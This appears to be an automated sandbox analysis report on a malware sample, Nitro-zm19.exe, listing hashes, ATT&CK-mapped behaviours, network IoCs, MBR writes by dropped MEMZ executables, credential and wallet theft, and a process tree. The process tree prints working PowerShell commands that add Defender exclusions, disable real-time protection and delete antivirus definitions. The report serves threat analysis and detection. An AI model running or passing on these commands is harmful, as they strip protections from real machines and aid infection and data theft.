a326f30402fadc6980693337d5cdc70a94b24100ac4a4a8354c642570fa2508b

Resubmissions

03/07/2024, 08:39

240703-kkmcpsyfkm 10

02/07/2024, 15:07

240702-shjg2asdmj 10

Analysis

max time kernel
119s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
02/07/2024, 15:07

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Nitro-zm19.exe
Size

17.0MB
MD5

5362038851f58dcf73e0d8c10f167353
SHA1

edbc0b004eb14649627634741a0851fdbb9a831b
SHA256

a326f30402fadc6980693337d5cdc70a94b24100ac4a4a8354c642570fa2508b
SHA512

9a7661f95b7ddd6903a5de70567db4b36c6b077ca31068023f62368d8b4da0310d44084e847bd2aa41f6351afff94d19b4385e7790a434a09b2b0194d47fbb56
SSDEEP

98304:VfDjWM8JEE1rY4amaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRaYKJJcGhEIFz:Vf0o5eNTfm/pf+xk4dWRatrbWOjgKp

Score

8^/10

bootkit execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe
3712	powershell.exe
3368	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	MEMZ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	MEMZ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	MEMZ (1).exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	MEMZ (1).exe

Executes dropped EXE 17 IoCs

pid	Process
4340	rar.exe
5840	MEMZ.exe
4592	MEMZ (1).exe
4388	MEMZ (1).exe
6116	MEMZ (1).exe
4208	MEMZ (1).exe
2776	MEMZ (1).exe
3888	MEMZ (1).exe
6120	MEMZ (1).exe
5360	MEMZ.exe
5524	MEMZ.exe
5436	MEMZ.exe
5272	MEMZ.exe
5564	MEMZ.exe
5004	MEMZ.exe
4432	MEMZ (1).exe
2928	MEMZ.exe

Loads dropped DLL 17 IoCs

pid	Process
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe
4876	Nitro-zm19.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023594-21.dat	upx
behavioral1/memory/4876-25-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp	upx
behavioral1/files/0x0007000000023587-27.dat	upx
behavioral1/files/0x0007000000023592-29.dat	upx
behavioral1/memory/4876-32-0x00007FFD017F0000-0x00007FFD017FF000-memory.dmp	upx
behavioral1/memory/4876-31-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp	upx
behavioral1/files/0x0007000000023591-34.dat	upx
behavioral1/files/0x000700000002358e-48.dat	upx
behavioral1/files/0x000700000002358d-47.dat	upx
behavioral1/files/0x000700000002358c-46.dat	upx
behavioral1/files/0x000700000002358b-45.dat	upx
behavioral1/files/0x000700000002358a-44.dat	upx
behavioral1/files/0x0007000000023589-43.dat	upx
behavioral1/files/0x0007000000023588-42.dat	upx
behavioral1/files/0x0007000000023586-41.dat	upx
behavioral1/files/0x0007000000023599-40.dat	upx
behavioral1/files/0x0007000000023598-39.dat	upx
behavioral1/files/0x0007000000023597-38.dat	upx
behavioral1/files/0x0007000000023593-35.dat	upx
behavioral1/memory/4876-54-0x00007FFCFD910000-0x00007FFCFD93D000-memory.dmp	upx
behavioral1/memory/4876-58-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp	upx
behavioral1/memory/4876-57-0x00007FFCFD880000-0x00007FFCFD899000-memory.dmp	upx
behavioral1/memory/4876-60-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp	upx
behavioral1/memory/4876-64-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp	upx
behavioral1/memory/4876-63-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp	upx
behavioral1/memory/4876-71-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp	upx
behavioral1/memory/4876-70-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp	upx
behavioral1/memory/4876-69-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp	upx
behavioral1/memory/4876-74-0x00007FFCFDCD0000-0x00007FFCFDCE4000-memory.dmp	upx
behavioral1/memory/4876-76-0x00007FFCFDB00000-0x00007FFCFDB0D000-memory.dmp	upx
behavioral1/memory/4876-78-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp	upx
behavioral1/memory/4876-79-0x00007FFCEEAF0000-0x00007FFCEEC0C000-memory.dmp	upx
behavioral1/memory/4876-206-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp	upx
behavioral1/memory/4876-303-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp	upx
behavioral1/memory/4876-304-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp	upx
behavioral1/memory/4876-320-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp	upx
behavioral1/memory/4876-319-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp	upx
behavioral1/memory/4876-314-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp	upx
behavioral1/memory/4876-313-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp	upx
behavioral1/memory/4876-312-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp	upx
behavioral1/memory/4876-305-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp	upx
behavioral1/memory/4876-315-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp	upx
behavioral1/memory/4876-354-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp	upx
behavioral1/memory/4876-369-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp	upx
behavioral1/memory/4876-382-0x00007FFCEEAF0000-0x00007FFCEEC0C000-memory.dmp	upx
behavioral1/memory/4876-381-0x00007FFCFDB00000-0x00007FFCFDB0D000-memory.dmp	upx
behavioral1/memory/4876-380-0x00007FFCFDCD0000-0x00007FFCFDCE4000-memory.dmp	upx
behavioral1/memory/4876-379-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp	upx
behavioral1/memory/4876-378-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp	upx
behavioral1/memory/4876-377-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp	upx
behavioral1/memory/4876-376-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp	upx
behavioral1/memory/4876-375-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp	upx
behavioral1/memory/4876-374-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp	upx
behavioral1/memory/4876-373-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp	upx
behavioral1/memory/4876-372-0x00007FFCFD880000-0x00007FFCFD899000-memory.dmp	upx
behavioral1/memory/4876-371-0x00007FFCFD910000-0x00007FFCFD93D000-memory.dmp	upx
behavioral1/memory/4876-370-0x00007FFD017F0000-0x00007FFD017FF000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
40	discord.com
41	discord.com
153	raw.githubusercontent.com
154	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	MEMZ (1).exe
File opened for modification	\??\PhysicalDrive0	MEMZ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1184	WMIC.exe
2280	WMIC.exe
5020	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
1596	tasklist.exe
1488	tasklist.exe
1928	tasklist.exe
3416	tasklist.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2172	systeminfo.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133644694484783503"	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3920	powershell.exe
3920	powershell.exe
1444	powershell.exe
1444	powershell.exe
3920	powershell.exe
1444	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3200	powershell.exe
3200	powershell.exe
3368	powershell.exe
3368	powershell.exe
3200	powershell.exe
3368	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
2248	powershell.exe
2248	powershell.exe
2248	powershell.exe
4436	powershell.exe
4436	powershell.exe
4436	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3008	chrome.exe
3008	chrome.exe
4388	MEMZ (1).exe
4388	MEMZ (1).exe
4388	MEMZ (1).exe
4208	MEMZ (1).exe
4388	MEMZ (1).exe
4208	MEMZ (1).exe
6116	MEMZ (1).exe
6116	MEMZ (1).exe
4208	MEMZ (1).exe
4208	MEMZ (1).exe
4388	MEMZ (1).exe
4388	MEMZ (1).exe
2776	MEMZ (1).exe
2776	MEMZ (1).exe
2776	MEMZ (1).exe
2776	MEMZ (1).exe
4388	MEMZ (1).exe
4388	MEMZ (1).exe
4208	MEMZ (1).exe
4208	MEMZ (1).exe
6116	MEMZ (1).exe
6116	MEMZ (1).exe
3888	MEMZ (1).exe
3888	MEMZ (1).exe
2776	MEMZ (1).exe
2776	MEMZ (1).exe
2776	MEMZ (1).exe
4208	MEMZ (1).exe
4208	MEMZ (1).exe
2776	MEMZ (1).exe
3888	MEMZ (1).exe
3888	MEMZ (1).exe
4388	MEMZ (1).exe
4388	MEMZ (1).exe
6116	MEMZ (1).exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
208	msedge.exe
208	msedge.exe
208	msedge.exe
208	msedge.exe
208	msedge.exe
208	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3416	tasklist.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeIncreaseQuotaPrivilege	4892	WMIC.exe
Token: SeSecurityPrivilege	4892	WMIC.exe
Token: SeTakeOwnershipPrivilege	4892	WMIC.exe
Token: SeLoadDriverPrivilege	4892	WMIC.exe
Token: SeSystemProfilePrivilege	4892	WMIC.exe
Token: SeSystemtimePrivilege	4892	WMIC.exe
Token: SeProfSingleProcessPrivilege	4892	WMIC.exe
Token: SeIncBasePriorityPrivilege	4892	WMIC.exe
Token: SeCreatePagefilePrivilege	4892	WMIC.exe
Token: SeBackupPrivilege	4892	WMIC.exe
Token: SeRestorePrivilege	4892	WMIC.exe
Token: SeShutdownPrivilege	4892	WMIC.exe
Token: SeDebugPrivilege	4892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4892	WMIC.exe
Token: SeRemoteShutdownPrivilege	4892	WMIC.exe
Token: SeUndockPrivilege	4892	WMIC.exe
Token: SeManageVolumePrivilege	4892	WMIC.exe
Token: 33	4892	WMIC.exe
Token: 34	4892	WMIC.exe
Token: 35	4892	WMIC.exe
Token: 36	4892	WMIC.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	4892	WMIC.exe
Token: SeSecurityPrivilege	4892	WMIC.exe
Token: SeTakeOwnershipPrivilege	4892	WMIC.exe
Token: SeLoadDriverPrivilege	4892	WMIC.exe
Token: SeSystemProfilePrivilege	4892	WMIC.exe
Token: SeSystemtimePrivilege	4892	WMIC.exe
Token: SeProfSingleProcessPrivilege	4892	WMIC.exe
Token: SeIncBasePriorityPrivilege	4892	WMIC.exe
Token: SeCreatePagefilePrivilege	4892	WMIC.exe
Token: SeBackupPrivilege	4892	WMIC.exe
Token: SeRestorePrivilege	4892	WMIC.exe
Token: SeShutdownPrivilege	4892	WMIC.exe
Token: SeDebugPrivilege	4892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4892	WMIC.exe
Token: SeRemoteShutdownPrivilege	4892	WMIC.exe
Token: SeUndockPrivilege	4892	WMIC.exe
Token: SeManageVolumePrivilege	4892	WMIC.exe
Token: 33	4892	WMIC.exe
Token: 34	4892	WMIC.exe
Token: 35	4892	WMIC.exe
Token: 36	4892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1184	WMIC.exe
Token: SeSecurityPrivilege	1184	WMIC.exe
Token: SeTakeOwnershipPrivilege	1184	WMIC.exe
Token: SeLoadDriverPrivilege	1184	WMIC.exe
Token: SeSystemProfilePrivilege	1184	WMIC.exe
Token: SeSystemtimePrivilege	1184	WMIC.exe
Token: SeProfSingleProcessPrivilege	1184	WMIC.exe
Token: SeIncBasePriorityPrivilege	1184	WMIC.exe
Token: SeCreatePagefilePrivilege	1184	WMIC.exe
Token: SeBackupPrivilege	1184	WMIC.exe
Token: SeRestorePrivilege	1184	WMIC.exe
Token: SeShutdownPrivilege	1184	WMIC.exe
Token: SeDebugPrivilege	1184	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1184	WMIC.exe
Token: SeRemoteShutdownPrivilege	1184	WMIC.exe
Token: SeUndockPrivilege	1184	WMIC.exe
Token: SeManageVolumePrivilege	1184	WMIC.exe
Token: 33	1184	WMIC.exe
Token: 34	1184	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
3008	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
4076	chrome.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
2540	taskmgr.exe
208	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 440 wrote to memory of 4876	440	Nitro-zm19.exe	84
PID 440 wrote to memory of 4876	440	Nitro-zm19.exe	84
PID 4876 wrote to memory of 4068	4876	Nitro-zm19.exe	88
PID 4876 wrote to memory of 4068	4876	Nitro-zm19.exe	88
PID 4876 wrote to memory of 4060	4876	Nitro-zm19.exe	89
PID 4876 wrote to memory of 4060	4876	Nitro-zm19.exe	89
PID 4876 wrote to memory of 4348	4876	Nitro-zm19.exe	90
PID 4876 wrote to memory of 4348	4876	Nitro-zm19.exe	90
PID 4876 wrote to memory of 2676	4876	Nitro-zm19.exe	92
PID 4876 wrote to memory of 2676	4876	Nitro-zm19.exe	92
PID 4876 wrote to memory of 696	4876	Nitro-zm19.exe	96
PID 4876 wrote to memory of 696	4876	Nitro-zm19.exe	96
PID 4068 wrote to memory of 3920	4068	cmd.exe	98
PID 4068 wrote to memory of 3920	4068	cmd.exe	98
PID 4348 wrote to memory of 4596	4348	cmd.exe	99
PID 4348 wrote to memory of 4596	4348	cmd.exe	99
PID 2676 wrote to memory of 3416	2676	cmd.exe	100
PID 2676 wrote to memory of 3416	2676	cmd.exe	100
PID 696 wrote to memory of 4892	696	cmd.exe	101
PID 696 wrote to memory of 4892	696	cmd.exe	101
PID 4060 wrote to memory of 1444	4060	cmd.exe	102
PID 4060 wrote to memory of 1444	4060	cmd.exe	102
PID 4876 wrote to memory of 1272	4876	Nitro-zm19.exe	104
PID 4876 wrote to memory of 1272	4876	Nitro-zm19.exe	104
PID 1272 wrote to memory of 3824	1272	cmd.exe	106
PID 1272 wrote to memory of 3824	1272	cmd.exe	106
PID 4876 wrote to memory of 2352	4876	Nitro-zm19.exe	107
PID 4876 wrote to memory of 2352	4876	Nitro-zm19.exe	107
PID 2352 wrote to memory of 1440	2352	cmd.exe	109
PID 2352 wrote to memory of 1440	2352	cmd.exe	109
PID 4876 wrote to memory of 4300	4876	Nitro-zm19.exe	110
PID 4876 wrote to memory of 4300	4876	Nitro-zm19.exe	110
PID 4300 wrote to memory of 1184	4300	cmd.exe	112
PID 4300 wrote to memory of 1184	4300	cmd.exe	112
PID 4876 wrote to memory of 2452	4876	Nitro-zm19.exe	113
PID 4876 wrote to memory of 2452	4876	Nitro-zm19.exe	113
PID 2452 wrote to memory of 2280	2452	cmd.exe	115
PID 2452 wrote to memory of 2280	2452	cmd.exe	115
PID 4876 wrote to memory of 3008	4876	Nitro-zm19.exe	118
PID 4876 wrote to memory of 3008	4876	Nitro-zm19.exe	118
PID 3008 wrote to memory of 3712	3008	cmd.exe	120
PID 3008 wrote to memory of 3712	3008	cmd.exe	120
PID 4876 wrote to memory of 3116	4876	Nitro-zm19.exe	121
PID 4876 wrote to memory of 3116	4876	Nitro-zm19.exe	121
PID 4876 wrote to memory of 4152	4876	Nitro-zm19.exe	122
PID 4876 wrote to memory of 4152	4876	Nitro-zm19.exe	122
PID 3116 wrote to memory of 1596	3116	cmd.exe	125
PID 3116 wrote to memory of 1596	3116	cmd.exe	125
PID 4152 wrote to memory of 1488	4152	cmd.exe	126
PID 4152 wrote to memory of 1488	4152	cmd.exe	126
PID 4876 wrote to memory of 4952	4876	Nitro-zm19.exe	127
PID 4876 wrote to memory of 4952	4876	Nitro-zm19.exe	127
PID 4876 wrote to memory of 4476	4876	Nitro-zm19.exe	129
PID 4876 wrote to memory of 4476	4876	Nitro-zm19.exe	129
PID 4876 wrote to memory of 2312	4876	Nitro-zm19.exe	130
PID 4876 wrote to memory of 2312	4876	Nitro-zm19.exe	130
PID 4876 wrote to memory of 4068	4876	Nitro-zm19.exe	132
PID 4876 wrote to memory of 4068	4876	Nitro-zm19.exe	132
PID 4876 wrote to memory of 4552	4876	Nitro-zm19.exe	135
PID 4876 wrote to memory of 4552	4876	Nitro-zm19.exe	135
PID 4876 wrote to memory of 1676	4876	Nitro-zm19.exe	136
PID 4876 wrote to memory of 1676	4876	Nitro-zm19.exe	136
PID 4952 wrote to memory of 2052	4952	cmd.exe	138
PID 4952 wrote to memory of 2052	4952	cmd.exe	138

C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe
"C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:440
- C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe
  "C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nitro-zm19.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('This Program Sems To Be Not Working', 0, 'Error-sm1z', 48+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('This Program Sems To Be Not Working', 0, 'Error-sm1z', 48+16);close()"
      4⤵
      PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1272
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:1184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
